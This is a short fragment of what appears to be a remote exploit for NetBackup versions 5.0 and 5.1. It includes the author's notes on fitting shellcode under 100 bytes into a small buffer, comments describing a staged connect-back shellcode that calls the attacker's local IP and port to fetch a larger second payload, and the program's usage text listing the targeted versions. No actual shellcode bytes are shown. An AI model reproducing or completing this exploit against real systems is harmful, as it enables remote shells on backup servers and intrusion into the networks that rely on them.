Because the buffer is only very small, I had to write small shellcode.
The code is less than 100 bytes, and there are 6 bytes left. So there
is still space to improve it. The stack seems to be static, every run
at the exact same location.

// We need a local port and ip because our first buffer is way too small
// to contain our complete shellcode. We use a small shellcode first to
// retrieve the second shellcode. The only method that fitted as first
// shellcode was a connect-back shellcode. For the second we got LOADS of
// space :).
if (argc<5) {
printf("Usage: %s <local ip> <local port> <remote ip> <type>\n\n", argv[0]);
printf("Types (tested):\n");
printf(" 0 - NetBackup v5.0_1A\n");
printf(" NetBackup v5.0_2\n");
printf(" NetBackup v5.0_3\n");
printf(" NetBackup v5.1\n\n");
return NULL;
}